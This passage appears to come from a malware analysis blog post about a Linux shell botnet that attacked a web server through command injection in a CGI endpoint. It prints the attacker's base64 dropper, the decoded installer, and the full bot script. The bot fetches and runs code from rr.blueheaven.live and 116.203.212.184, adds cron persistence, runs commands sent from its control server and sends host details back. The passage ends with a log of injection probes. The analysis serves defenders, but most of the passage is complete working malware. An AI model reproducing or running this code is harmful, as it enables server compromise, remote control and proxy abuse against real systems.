    $CURL -s http://$DOM/1010/b64.php -u client:%@123-456@% --data-urlencode 's=UEFUSD0vc2JpbjovYmluOi91c3Ivc2JpbjovdXNyL2JpbjovdXNyL2xvY2FsL2JpbgpDVVJMPSJjdXJsIgpET009InJyLmJsdWVoZWF2ZW4ubGl2ZSIKCnBraWxsIC05IC1mICIuc3JjLnNoIgpwa2lsbCAtOSAtZiAicHByb3h5IgpvdXQ9JChjdXJsIC1zIC0tY29ubmVjdC10aW1lb3V0IDUgaHR0cDovL3JyLmJsdWVoZWF2ZW4ubGl2ZS8xMDEwL29ubGluZS5waHAgLXUgY2xpZW50OiVAMTIzLTQ1NkAlIDI+IC9kZXYvbnVsbCkKZW5hYmxlPSQoZWNobyAkb3V0IHwgYXdrICd7c3BsaXQoJDAsYSwiLCIpOyBwcmludCBhWzFdfScpCm9ubGluZT0kKGVjaG8gJG91dCB8IGF3ayAne3NwbGl0KCQwLGEsIiwiKTsgcHJpbnQgYVsyXX0nKQppZiBbICEgIiRlbmFibGUiIC1lcSAiMSIgLWEgISAiJG9ubGluZSIgLWVxICIxIiBdOyB0aGVuCglpZmFjZXM9IiIKCWlmIFsgIiQoY29tbWFuZCAtdiBpcCAyPiAvZGV2L251bGwpIiBdOyB0aGVuCgkJaWZhY2VzPSQoaXAgLTQgLW8gYSB8IGN1dCAtZCAnICcgLWYgMiw3IHwgY3V0IC1kICcvJyAtZiAxIHwgYXdrIC1GJyAnICd7cHJpbnQgJDF9JyB8IHRyICdcbicgJyAnKQoJZWxzZQoJCWlmIFsgIiQoY29tbWFuZCAtdiBpZmNvbmZpZyAyPiAvZGV2L251bGwpIiBdOyB0aGVuCgkJCWlmYWNlcz0kKGlmY29uZmlnIC1hIHwgZ3JlcCBmbGFncyB8IGF3ayAne3NwbGl0KCQwLGEsIjoiKTsgcHJpbnQgYVsxXX0nIHwgdHIgJ1xuJyAnICcpCgkJZmkKCWZpCglmb3IgZXRoIGluICRpZmFjZXM7IGRvCgkJb3V0PSQoY3VybCAtcyAtLWludGVyZmFjZSAkZXRoIC0tY29ubmVjdC10aW1lb3V0IDUgaHR0cDovLzExNi4yMDMuMjEyLjE4NC8xMDEwL29ubGluZS5waHAgLXUgY2xpZW50OiVAMTIzLTQ1NkAlIDI+IC9kZXYvbnVsbCkKCQllbmFibGU9JChlY2hvICRvdXQgfCBhd2sgJ3tzcGxpdCgkMCxhLCIsIik7IHByaW50IGFbMV19JykKCQlvbmxpbmU9JChlY2hvICRvdXQgfCBhd2sgJ3tzcGxpdCgkMCxhLCIsIik7IHByaW50IGFbMl19JykKCQlpZiBbICIkZW5hYmxlIiA9PSAiMSIgLWEgIiRvbmxpbmUiID09ICIxIiBdOyB0aGVuCgkJCWVjaG8gIiRldGgiID4gLmludGVyZmFjZQoJCQlicmVhawoJCWZpCglkb25lCmZpCgppZiBbIC1mICIuaW50ZXJmYWNlIiBdOyB0aGVuCglDVVJMPSJjdXJsIC0taW50ZXJmYWNlICIkKGNhdCAuaW50ZXJmYWNlIDI+IC9kZXYvbnVsbCkKCURPTT0iMTE2LjIwMy4yMTIuMTg0IgpmaQoKb3V0PSQoJENVUkwgLXMgaHR0cDovLyRET00vMTAxMC9zcmMucGhwIC11IGNsaWVudDolQDEyMy00NTZAJSAyPiAvZGV2L251bGwpCmVuYWJsZT0kKGVjaG8gJG91dCB8IGF3ayAne3NwbGl0KCQwLGEsIiwiKTsgcHJpbnQgYVsxXX0nKQpiYXNlPSQoZWNobyAkb3V0IHwgYXdrICd7c3BsaXQoJDAsYSwiLCIpOyBwcmludCBhWzJdfScpCmlmIFsgIiRlbmFibGUiIC1lcSAiMSIgXTsgdGhlbgoJcm0gLXJmIC5taW5pY29uZGEuc2ggLmFwaSAuaXBpZCAuc3BpZCAuY3Jvbi5zaCAuc3JjLnNoOyAkQ1VSTCAtcyBodHRwOi8vJERPTS8xMDEwL2I2NC5waHAgLXUgY2xpZW50OiVAMTIzLTQ1NkAlIC0tZGF0YS11cmxlbmNvZGUgInM9JGJhc2UiIC1vIC5zcmMuc2ggMj4gL2Rldi9udWxsICYmIGNobW9kICt4IC5zcmMuc2ggPiAvZGV2L251bGwgMj4mMQoJc2ggLnNyYy5zaCA+IC9kZXYvbnVsbCAyPiYxICYKZmkKcm0gLXJmIC5pbnN0YWxsCg==' -o .install;
    chmod +x .install;
    sh .install > /dev/null 2>&1 & echo 'Done';
else
    echo 'Already install. Started';
    cd .log/101068/.spoollog && sh .cron.sh > /dev/null 2>&1 &
fi;
else
    echo 'Already install Running';
fi

I’m not going to go through this script in detail, nor critique the shell programming. The first part of the script goes about setting up an installation directory for the exploit, and you can see references to the “.log/101068/.spoollog” directory we found the exploit running from. The script attempts to check internet access via the URLs hxxp://rr.blueheaven.live/1010/online.php and hxxp://116.203.212.184/1010/online.php. At the time of this writing rr.blueheaven.live resolves to the hard-coded IP 116.203.212.184 in the second URL. The script then users hxxp://116.203.212.184/1010/b64.php to decode another script and write it to disk in the exploit installation directory as “.install” and then runs the script.

Here is the decoded, reformatted script that gets written to “.install”:

PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin
CURL="curl"
DOM="rr.blueheaven.live"

pkill -9 -f ".src.sh"
pkill -9 -f "pproxy"
out=$(curl -s --connect-timeout 5 http://rr.blueheaven.live/1010/online.php -u client:%@123-456@% 2> /dev/null)
enable=$(echo $out | awk '{split($0,a,","); print a[1]}')
online=$(echo $out | awk '{split($0,a,","); print a[2]}')
if [ ! "$enable" -eq "1" -a ! "$online" -eq "1" ]; then
        ifaces=""
        if [ "$(command -v ip 2> /dev/null)" ]; then
                ifaces=$(ip -4 -o a | cut -d ' ' -f 2,7 | cut -d '/' -f 1 | awk -F' ' '{print $1}' | tr '\n' ' ')
        else
                if [ "$(command -v ifconfig 2> /dev/null)" ]; then
                        ifaces=$(ifconfig -a | grep flags | awk '{split($0,a,":"); print a[1]}' | tr '\n' ' ')
                fi
        fi
        for eth in $ifaces; do
                out=$(curl -s --interface $eth --connect-timeout 5 http://116.203.212.184/1010/online.php -u client:%@123-456@% 2> /dev/null)
                enable=$(echo $out | awk '{split($0,a,","); print a[1]}')
                online=$(echo $out | awk '{split($0,a,","); print a[2]}')
                if [ "$enable" == "1" -a "$online" == "1" ]; then
                        echo "$eth" > .interface
                        break
                fi
        done
fi

if [ -f ".interface" ]; then
        CURL="curl --interface "$(cat .interface 2> /dev/null)
        DOM="116.203.212.184"
fi

out=$($CURL -s http://$DOM/1010/src.php -u client:%@123-456@% 2> /dev/null)
enable=$(echo $out | awk '{split($0,a,","); print a[1]}')
base=$(echo $out | awk '{split($0,a,","); print a[2]}')
if [ "$enable" -eq "1" ]; then
        rm -rf .miniconda.sh .api .ipid .spid .cron.sh .src.sh; $CURL -s http://$DOM/1010/b64.php -u client:%@123-456@% --data-urlencode "s=$base" -o .src.sh 2> /dev/null && chmod +x .src.sh > /dev/null 2>&1
        sh .src.sh > /dev/null 2>&1 &
fi
rm -rf .install

There’s a lot of repetitious code here, but the upshot is that this “.install” script downloads an encoded script from http://116.203.212.184/1010/src.php and this becomes “.src.sh”. The “.install” script removes itself when done.

“.src.sh” is a simple bot written in shell, reproduced below. The first part of the script tries to install a “.cron.sh” script from hxxp://116.203.212.184/1010/cron.php for persistence. The main loop sleeps for 300 second intervals and then queries hxxp://116.203.212.184/1010/cmd.php for instructions.

PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin:$(pwd)/.api/.mnc/bin
kpid=$(tail -n 1 .spid 2> /dev/null)
printf %b "$(id -u)\\n$$" > .spid
kill -kill $kpid > /dev/null 2>&1
#echo $(ps -o ppid= $$) | xargs kill -9 > /dev/null 2>&1

ICURL="curl"
if [ ! "$(command -v curl 2> /dev/null)" ]; then
        ICURL="./.curl"
fi

CURL=$ICURL
DOM="rr.blueheaven.live"
if [ -f ".interface" ]; then
        CURL="$ICURL --interface "$(cat .interface 2> /dev/null)
        DOM="116.203.212.184"
fi

if [ ! -f ".cron.sh" ]; then
        out=$($CURL -s http://$DOM/1010/cron.php -u client:%@123-456@% 2> /dev/null)
        enable=$(echo $out | awk '{split($0,a,","); print a[1]}')
        base=$(echo $out | awk '{split($0,a,","); print a[2]}')
        if [ "$enable" -eq "1" ]; then
                printf %b "$($CURL -s http://$DOM/1010/b64.php -u client:%@123-456@% --data-urlencode "s=$base" 2> /dev/null)" > .cron.sh 2> /dev/null && chmod +x .cron.sh > /dev/null 2>&1
        fi
fi

string="$(crontab -l 2> /dev/null)"
word="0 */12 * * * cd $(pwd) && sh .cron.sh > /dev/null 2>&1 &"
if [ ! "${string#*$word}" != "$string" ]; then
        crcount=$(printf %s $(crontab -l 2> /dev/null) | wc -m)
        if [ "$crcount" -gt "0" ]; then
                printf %b "$(crontab -l 2> /dev/null)\\n0 */12 * * * cd $(pwd) && sh .cron.sh > /dev/null 2>&1 &\\n@reboot cd $(pwd) && sh .cron.sh > /dev/null 2>&1 &\\n" > .cron
                cat .cron | crontab || crontab .cron
        else
                if [ "$(id -u)" -eq "0" ]; then
                        printf %b "0 */12 * * * cd $(pwd) && sh .cron.sh > /dev/null 2>&1 &\\n@reboot cd $(pwd) && sh .cron.sh > /dev/null 2>&1 &\\n" > .cron
                        cat .cron | crontab || crontab .cron
                else
                        printf %b "PATH=/sbin:/bin:/usr/sbin:/usr/bin\\nHOME=$(pwd)\\nMAILTO=\"\"\\n0 */12 * * * cd $(pwd) && sh .cron.sh > /dev/null 2>&1 &\\n@reboot cd $(pwd) && sh .cron.sh > /dev/null 2>&1 &\\n" > .cron
                        cat .cron | crontab || crontab .cron
                fi
        fi
fi

psfunc()
{
        if [ "$(command -v ps 2> /dev/null)" ]; then
                ps x -o command -w 2> /dev/null | grep -v -a grep | grep -a "$1" 2> /dev/null
        else
                if [ "$(command -v pgrep 2> /dev/null)" ]; then
                        pgrep -f -a -l "$1" 2> /dev/null | grep -v -a grep 2> /dev/null
                else
                        if [ "$(cd /proc 2> /dev/null && ls | wc -l)" -gt "0" 2> /dev/null ]; then
                                pids=$(cd /proc && ls | grep '[0-9]'); for pid in $pids; do printf %b $(cat /proc/$pid/cmdline 2> /dev/null | tr '\000' ' ' | grep -v -a grep | grep -a "$1" 2> /dev/null); done
                        else
                                printf %b "0\n"
                        fi
                fi

        fi
}

timeout=""
if [ "$(command -v timeout 2> /dev/null)" ]; then
        timeout="timeout 15"
fi

if [ -f ".python" ]; then
        export PYTHONUSERBASE=$(cat .python 2> /dev/null)
fi

first=0
tstmp=0
while true
do
        slp=300
        out=$($timeout $CURL -s --data-urlencode "icid=$(cat .cid 2> /dev/null)" --data-urlencode "vuln=$(cat .pinfo 2> /dev/null)" --data-urlencode "ips=$(cat .api/ips.txt 2> /dev/null | wc -l 2> /dev/null)" --data-urlencode "prx=$(psfunc 'python -m pproxy')" --data-urlencode "mnc=$(export HOME=$(pwd)/.api;$HOME/.mnc/bin/python -c 'print(1)' 2> /dev/null)" --data-urlencode "rm=$(($(a=$(echo $(cat /proc/meminfo 2> /dev/null) | grep MemTotal | cut -d' ' -f2); if [ "$a" -gt "0" 2> /dev/null ]; then echo $a;else echo 0;fi)/1024))" --data-urlencode "cr=$(nproc 2> /dev/null)" --data-urlencode "a=$(whoami 2> /dev/null)" --data-urlencode "o=$(cat /etc/*-release 2> /dev/null || uname -a)" -X POST http://$DOM/1010/cmd.php -u client:%@123-456@% 2> /dev/null || echo "0,0,0,0,0,0,0")
        enable=$(echo $out | awk '{split($0,a,","); print a[1]}')
        cmd=$(echo $out | awk '{split($0,a,","); print a[2]}')
        tm=$(echo $out | awk '{split($0,a,","); print a[3]}')
        pv=$(echo $out | awk '{split($0,a,","); print a[4]}')
        prx=$(echo $out | awk '{split($0,a,","); print a[5]}')
        port=$(echo $out | awk '{split($0,a,","); print a[6]}')
        pass=$(echo $out | awk '{split($0,a,","); print a[7]}')
        if [ "$pv" -gt "0" ]; then
                printf %b "$pv\\n" > .cid
        fi
        if [ "$pv" -gt "0" -a "$first" -gt "0" ]; then
                if [ ! -f ".api/ips.txt" -a ! -f ".exec" ]; then
                        mkdir -p .api
                        ipsr=""
                        if [ "$(export HOME=$(pwd)/.api;$HOME/.mnc/bin/python -c 'import netifaces;print(1)' 2> /dev/null)" -eq "1" ]; then
                                ipsr=$(export HOME=$(pwd)/.api; printf %b "import netifaces\\nfor iface in netifaces.interfaces():\\n\\tiface_details = netifaces.ifaddresses(iface)\\n\\tif netifaces.AF_INET in iface_details:\\n\\t\\tfor ip in iface_details[netifaces.AF_INET]:\\n\\t\\t\\tprint(ip['addr']+'/'+ip['netmask'])" | $HOME/.mnc/bin/python | grep -v 127.0.0.1 | tr '\\n' ' ')
                        else
                                if [ "$(command -v ip 2> /dev/null)" ]; then
                                        ipsr=$(ip addr | grep 'inet ' | awk -F' ' '{print $2}' | grep -v '127.0.0.1' | tr '\\n' ' ')
                                else
                                        if [ "$(command -v ifconfig 2> /dev/null)" ]; then
                                                ipsr=$( ifconfig | grep 'inet ' |  awk '{split($0,a,"inet "); print a[2]}' | awk '{split($0,a," netmask"); print a[1]"/32"}' | grep -v '127.0.0.1' | tr '\\n' ' ')
                                        fi
                                fi
                        fi

                        if [ "$ipsr" != "" ]; then
                                for range in $ipsr; do
                                        ips=$($CURL -s http://$DOM/1010/ip.php -u client:%@123-456@% --data-urlencode "r=$range" 2> /dev/null)
                                        for ip1 in $ips; do

                                                out=$($ICURL -s --interface $ip1 --connect-timeout 2 --data-urlencode "cid=$pv" -X POST http://$DOM/1010/iprv.php -u client:%@123-456@% 2> /dev/null)
                                                enproxy=$(echo $out | awk '{split($0,a,","); print a[1]}')
                                                pip=$(echo $out | awk '{split($0,a,","); print a[2]}')
                                                port=$(echo $out | awk '{split($0,a,","); print a[3]}')
                                                enb=$(echo $out | awk '{split($0,a,","); print a[4]}')
                                                wip=$(echo $out | awk '{split($0,a,","); print a[5]}')

                                                if [ "$enproxy" -eq "1" -a ! "$(grep "$wip" ".api/ips.txt" 2> /dev/null)" ]; then
                                                        printf %b "$ip1,$wip\\n" >> .api/ips.txt
                                                fi

                                        done
                                done
                        else
                                if [ "$(export HOME=$(pwd)/.api;$HOME/.mnc/bin/python -c 'print(1)' 2> /dev/null)" -eq "1" ]; then
                                        ip1=$(export HOME=$(pwd)/.api;$HOME/.mnc/bin/python -c "import socket;s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM);s.connect(('8.8.8.8', 80));print(s.getsockname()[0]);s.close()" 2> /dev/null)
                                        out=$($ICURL -s --interface $ip1 --connect-timeout 2 --data-urlencode "cid=$pv" -X POST http://$DOM/1010/iprv.php -u client:%@123-456@% 2> /dev/null)
                                        enproxy=$(echo $out | awk '{split($0,a,","); print a[1]}')
                                        pip=$(echo $out | awk '{split($0,a,","); print a[2]}')
                                        port=$(echo $out | awk '{split($0,a,","); print a[3]}')
                                        enb=$(echo $out | awk '{split($0,a,","); print a[4]}')
                                        wip=$(echo $out | awk '{split($0,a,","); print a[5]}')

                                        if [ "$enproxy" -eq "1" -a ! "$(grep "$wip" ".api/ips.txt" 2> /dev/null)" ]; then
                                                printf %b "$ip1,$wip\\n" >> .api/ips.txt
                                        fi
                                fi
                        fi
                else
                        if [ "$(($(date +%s)-$tstmp))" -ge "300" -a "$(export HOME=$(pwd)/.api;$HOME/.mnc/bin/python -c 'print(1)' 2> /dev/null)" -eq "1" ]; then
                                tstmp=$(date +%s)
                                case $prx in
                                        "0")
                                                pkill -9 -f "python -m pproxy" > /dev/null 2>&1
                                                ;;
                                        "1")
                                                pkill -9 -f "python -m pproxy -l socks5://" > /dev/null 2>&1
                                                ips=$(cat .api/ips.txt | tr '\\n' ' ')
                                                for ip in $ips; do
                                                        ip1=$(echo $ip | awk '{split($0,a,","); print a[1]}')
                                                        if [ ! "$(psfunc "$ip1" 2> /dev/null)" ]; then

                                                                out=$($ICURL -s --interface $ip1 --connect-timeout 2 --data-urlencode "cid=$pv" -X POST http://$DOM/1010/iprv.php -u client:%@123-456@% 2> /dev/null)
                                                                enproxy=$(echo $out | awk '{split($0,a,","); print a[1]}')
                                                                pip=$(echo $out | awk '{split($0,a,","); print a[2]}')
                                                                port=$(echo $out | awk '{split($0,a,","); print a[3]}')
                                                                enb=$(echo $out | awk '{split($0,a,","); print a[4]}')
                                                                wip=$(echo $out | awk '{split($0,a,","); print a[5]}')

                                                                if [ "$enproxy" -eq "1" ]; then
                                                                        sh -c "cd .api/.mnc/bin && ./python -m pproxy -l socks5+in://$pip:$port/@$ip1,#pproxy:$pass > /dev/null 2>&1 &" > /dev/null 2>&1
                                                                fi

                                                        fi
                                                done
                                                ;;
                                        "2")
                                                pkill -9 -f "python -m pproxy -l socks5\+in://" > /dev/null 2>&1
                                                if [ ! "$(psfunc "python -m pproxy -l socks5://:$port" 2> /dev/null)" ]; then
                                                        pkill -9 -f "python -m pproxy -l socks5://" > /dev/null 2>&1
                                                        sh -c "cd .api/.mnc/bin && ./python -m pproxy -l socks5://:$port/@in,#pproxy:$pass > /dev/null 2>&1 &" > /dev/null 2>&1
                                                fi
                                                ;;
                                        "3")
                                                pkill -9 -f "python -m pproxy -l socks5://" > /dev/null 2>&1
                                                ips=$(cat .api/ips.txt | tr '\\n' ' ')
                                                for ip in $ips; do
                                                        ip1=$(echo $ip | awk '{split($0,a,","); print a[1]}')

                                                        out=$($ICURL -s --interface $ip1 --connect-timeout 2 --data-urlencode "cid=$pv" -X POST http://$DOM/1010/iprv.php -u client:%@123-456@% 2> /dev/null)
                                                        enproxy=$(echo $out | awk '{split($0,a,","); print a[1]}')
                                                        pip=$(echo $out | awk '{split($0,a,","); print a[2]}')
                                                        port=$(echo $out | awk '{split($0,a,","); print a[3]}')
                                                        enb=$(echo $out | awk '{split($0,a,","); print a[4]}')
                                                        wip=$(echo $out | awk '{split($0,a,","); print a[5]}')

                                                        if [ "$enproxy" -eq "1" -a "$enb" -eq "1" -a ! "$(psfunc "$ip1" 2> /dev/null)" ]; then
                                                                sh -c "cd .api/.mnc/bin && ./python -m pproxy -l socks5+in://$pip:$port/@$ip1,#pproxy:$pass > /dev/null 2>&1 &" > /dev/null 2>&1
                                                        fi

                                                        if [ "$enproxy" -eq "1" -a "$enb" -eq "0" ]; then
                                                                pkill -9 -f "/@$ip1,#pproxy:" > /dev/null 2>&1
                                                        fi
                                                done
                                                ;;
                                esac
                        fi
                fi
        fi
        if [ "$tm" -eq "1" ]; then
                slp=1
        fi
        if [ "$enable" -eq "1" ]; then
                ex=$(sh -c "$cmd" 2>&1)
                $CURL -s --data-urlencode "icid=$(cat .cid 2> /dev/null)" --data-urlencode "reponse=$ex" -X POST http://$DOM/1010/post.php -u client:%@123-456@% 2> /dev/null
        fi
        if [ "$first" -eq "0" ]; then
                first=1
                sleep 1
        else
                sleep $slp
        fi
done

Nov 27 and beyond – more shell code, less base64

Looking at the mod_dumpio output from Nov 27 and beyond, the adversary abandons base64 encoding and just sends unobfuscated shell payloads.

[Sat Nov 27 17:02:58.280572 2021]  A=|echo;printf vulnable
[Sun Nov 28 16:55:25.395499 2021]  A=|echo;echo vulnable
[Sun Nov 28 16:57:23.515598 2021]  A=|echo;a%3Dvulnable%3Becho%20%24a
[Sun Nov 28 16:57:23.786609 2021] [cgi:error]  /bin/sh: 1: a%3Dvulnable%3Becho%20%24a: not found: /bin/sh
[Sun Nov 28 16:57:24.018519 2021]  A=|echo;a%3Dvulnable%3Becho%20%24a
[Sun Nov 28 16:57:24.410051 2021] [cgi:error]  /bin/bash: line 1: a%3Dvulnable%3Becho%20%24a: command not found: /bin/bash
[Sun Nov 28 16:58:21.167696 2021]  A=%7Cecho%3Becho%20vulnable
[Sun Nov 28 16:58:21.208503 2021] [cgi:error] [pid 2632:tid 139978638071552] [client 116.202.187.77:34884] End of script output before headers: sh
[Sun Nov 28 16:58:21.467744 2021]  A=%7Cecho%3Becho%20vulnable
[Sun Nov 28 16:58:21.578078 2021] [cgi:error] [pid 2632:tid 139978780681984] [client 116.202.187.77:34914] End of script output before headers: bash
[Sun Nov 28 16:59:14.868614 2021]  A=%257Cecho%253Becho%2520vulnable
[Sun Nov 28 16:59:14.899091 2021] [cgi:error] [pid 2632:tid 139978646464256] [client 116.202.187.77:35060] End of script output before headers: sh
[Sun Nov 28 16:59:15.119808 2021]  A=%257Cecho%253Becho%2520vulnable
[Sun Nov 28 16:59:15.180240 2021] [cgi:error] [pid 2539:tid 139978327705344] [client 116.202.187.77:35080] End of script output before headers: bash
[Sun Nov 28 17:00:50.203622 2021]  A=|echo;echo vulnable
[Sun Nov 28 17:01:46.202310 2021]  A=%7Cecho%3Becho+vulnable
[Sun Nov 28 17:01:46.243062 2021] [cgi:error] [pid 2632:tid 139978503853824] [client 116.202.187.77:35302] End of script output before headers: sh
[Sun Nov 28 17:01:46.514360 2021]  A=%7Cecho%3Becho+vulnable
[Sun Nov 28 17:01:46.584288 2021] [cgi:error] [pid 2539:tid 139978461923072] [client 116.202.187.77:35330] End of script output before headers: bash
[Sun Nov 28 17:02:38.990088 2021]  A=%7Cecho%253Becho%2520vulnable
[Sun Nov 28 17:02:39.030402 2021] [cgi:error] [pid 1693:tid 139978914899712] [client 116.202.187.77:35484] End of script output before headers: sh
[Sun Nov 28 17:02:39.281646 2021]  A=%7Cecho%253Becho%2520vulnable
[Sun Nov 28 17:02:39.362302 2021] [cgi:error] [pid 2632:tid 139978545817344] [client 116.202.187.77:35502] End of script output before headers: bash
[Sun Nov 28 17:03:13.639471 2021]  A%253D%257Cecho%253Becho%2520vulnable
[Sun Nov 28 17:03:13.699553 2021] [cgi:error]  /bin/sh: 1: : /bin/sh
[Sun Nov 28 17:03:13.699763 2021] [cgi:error]  A%253D%257Cecho%253Becho%2520vulnable: not found: /bin/sh
[Sun Nov 28 17:03:13.699802 2021] [cgi:error]  : /bin/sh
[Sun Nov 28 17:03:13.700009 2021] [cgi:error] [pid 2539:tid 139978478708480] [client 116.202.187.77:35642] End of script output before headers: sh
[Sun Nov 28 17:03:13.946964 2021]  A%253D%257Cecho%253Becho%2520vulnable
[Sun Nov 28 17:03:14.044809 2021] [cgi:error]  /bin/bash: line 1: A%253D%257Cecho%253Becho%2520vulnable: command not found: /bin/bash
[Sun Nov 28 17:03:14.064043 2021] [cgi:error] [pid 2632:tid 139978688427776] [client 116.202.187.77:35664] End of script output before headers: bash
[Sun Nov 28 17:03:42.715779 2021]  A=%257Cecho%253Becho%2520vulnable
[Sun Nov 28 17:03:42.715930 2021] [cgi:error] [pid 2539:tid 139978310919936] [client 116.202.187.77:35814] End of script output before headers: sh
[Sun Nov 28 17:03:42.967866 2021]  A=%257Cecho%253Becho%2520vulnable
[Sun Nov 28 17:03:43.048351 2021] [cgi:error] [pid 2632:tid 139978512246528] [client 116.202.187.77:35832] End of script output before headers: bash
[Sun Nov 28 17:04:04.539353 2021]  A=%7Cecho%3Becho%20vulnable
[Sun Nov 28 17:04:04.559961 2021] [cgi:error] [pid 2632:tid 139978537424640] [client 116.202.187.77:35978] End of script output before headers: sh
[Sun Nov 28 17:04:04.951514 2021]  A=%7Cecho%3Becho%20vulnable
[Sun Nov 28 17:04:05.213226 2021] [cgi:error] [pid 2632:tid 139978680035072] [client 116.202.187.77:36004] End of script output before headers: bash
[Sun Nov 28 17:09:32.521939 2021]  A=|echo;a=1;if [ "$(echo $a 2>&1)" -gt "0" ]; then echo vulnable; fi
[Sun Nov 28 17:32:12.024183 2021]  A=|echo;echo done
[Sun Nov 28 17:32:12.307559 2021]  A=|echo;echo done
[Sun Nov 28 17:32:48.782254 2021]  A=|echo;echo vulnable
[Sun Nov 28 17:39:57.475699 2021]  A=|echo;echo vulnable
[Sun Nov 28 17:40:38.123955 2021]  A=|echo;echo done;echo vulnable
[Sun Nov 28 17:42:19.620086 2021]  A=|echo;a=1;if [ "$(echo $a 2>&1)" -gt "0" ]; then echo done; fi;echo vulnable
[Sun Nov 28 17:44:07.177445 2021]  A=|echo;psfunc() { a=1;if [ "$(echo $a 2>&1)" -gt "0" ]; then echo 'psfunc'; fi; }; psfunc ;echo vulnable
[Sun Nov 28 17:44:49.689632 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; psfunc() { a=1;if [ "$(echo $a 2>&1)" -gt "0" ]; then echo 'psfunc'; fi; }; psfunc;echo vulnable
[Sun Nov 28 17:46:15.189899 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; psfunc() { a=1;if [ "$(echo $a 2>&1)" -gt "0" ]; then echo "$1"; fi; }; psfunc ps;echo vulnable
[Sun Nov 28 17:46:41.752037 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; psfunc() { a=1;if [ "$(echo $a 2>&1)" -gt "0" ]; then echo "$1"; fi; }; psfunc 'ps';echo vulnable
[Sun Nov 28 17:48:14.564918 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; psfunc() { a=1;if [ "$(echo $a 2>&1)" -gt "0" && "1" -gt "0" ]; then echo "$1"; fi; }; psfunc 'ps';echo vulnable
[Sun Nov 28 17:48:14.625501 2021] [cgi:error]  /bin/sh: 1: [: missing ]: /bin/sh
[Sun Nov 28 17:48:43.928639 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; psfunc() { a=1;if [ "$(echo $a 2>&1)" -gt "0" -a "1" -gt "0" ]; then echo "$1"; fi; }; psfunc 'ps';echo vulnable
[Sun Nov 28 18:47:07.257086 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; psfunc() { if [ "$(command -v ps 2> /dev/null)" ]; then ps x -o command -w 2> /dev/null | grep -v -a grep | grep -a "$1" 2> /dev/null;  else if [ "$(command -v pgrep 2> /dev/null)" ]; then pgrep -f -a -l "$1" 2> /dev/null | grep -v -a grep 2> /dev/null;  else if [ "$(cd /proc 2> /dev/null && ls | wc -l)" -gt "0" 2> /dev/null ]; then pids=$(cd /proc && ls | grep '[0-9]'); for pid in $pids; do printf %b $(cat /proc/$pid/cmdline 2> /dev/null | tr '\\000' ' ' | grep -v -a grep | grep -a "$1" 2> /dev/null); done;  else printf %b "0\\n";  fi;  fi;  fi;  }; if [ ! "$(psfunc '.src.sh' 2> /dev/null)" ]; then echo 12345; else echo 00000; fi;echo vulnable
[Sun Nov 28 18:51:57.797516 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v curl 2> /dev/null)" ]; then echo 'False'; else 'True'; fi;echo vulnable
[Sun Nov 28 18:51:57.908907 2021] [cgi:error]  /bin/sh: 1: True: not found: /bin/sh
[Sun Nov 28 18:53:07.428691 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v curl 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Sun Nov 28 18:55:09.609280 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v ssh 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Sun Nov 28 18:57:57.577951 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v ssh 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Sun Nov 28 18:58:32.809620 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v scp 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Sun Nov 28 19:01:10.973735 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v curl 2> /dev/null)" -a ! "$(command -v wget 2> /dev/null)" -a ! "$(command -v scp 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Sun Nov 28 19:02:17.249849 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v curl 2> /dev/null)" -a ! "$(command -v wget 2> /dev/null)" -a ! "$(command -v python 2> /dev/null)" -a ! "$(command -v scp 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Sun Nov 28 19:03:53.430460 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v curl 2> /dev/null)" -a ! "$(command -v wget 2> /dev/null)" -a ! "$(command -v lwp-download 2> /dev/null)" -a ! "$(command -v scp 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Sun Nov 28 19:04:45.663570 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v curl 2> /dev/null)" -a ! "$(command -v wget 2> /dev/null)" -a ! "$(command -v cp 2> /dev/null)" -a ! "$(command -v scp 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Sun Nov 28 19:05:40.047965 2021]  A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v curl 2> /dev/null)" -a ! "$(command -v wget 2> /dev/null)" -a ! "$(command -v php 2> /dev/null)" -a ! "$(command -v scp 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
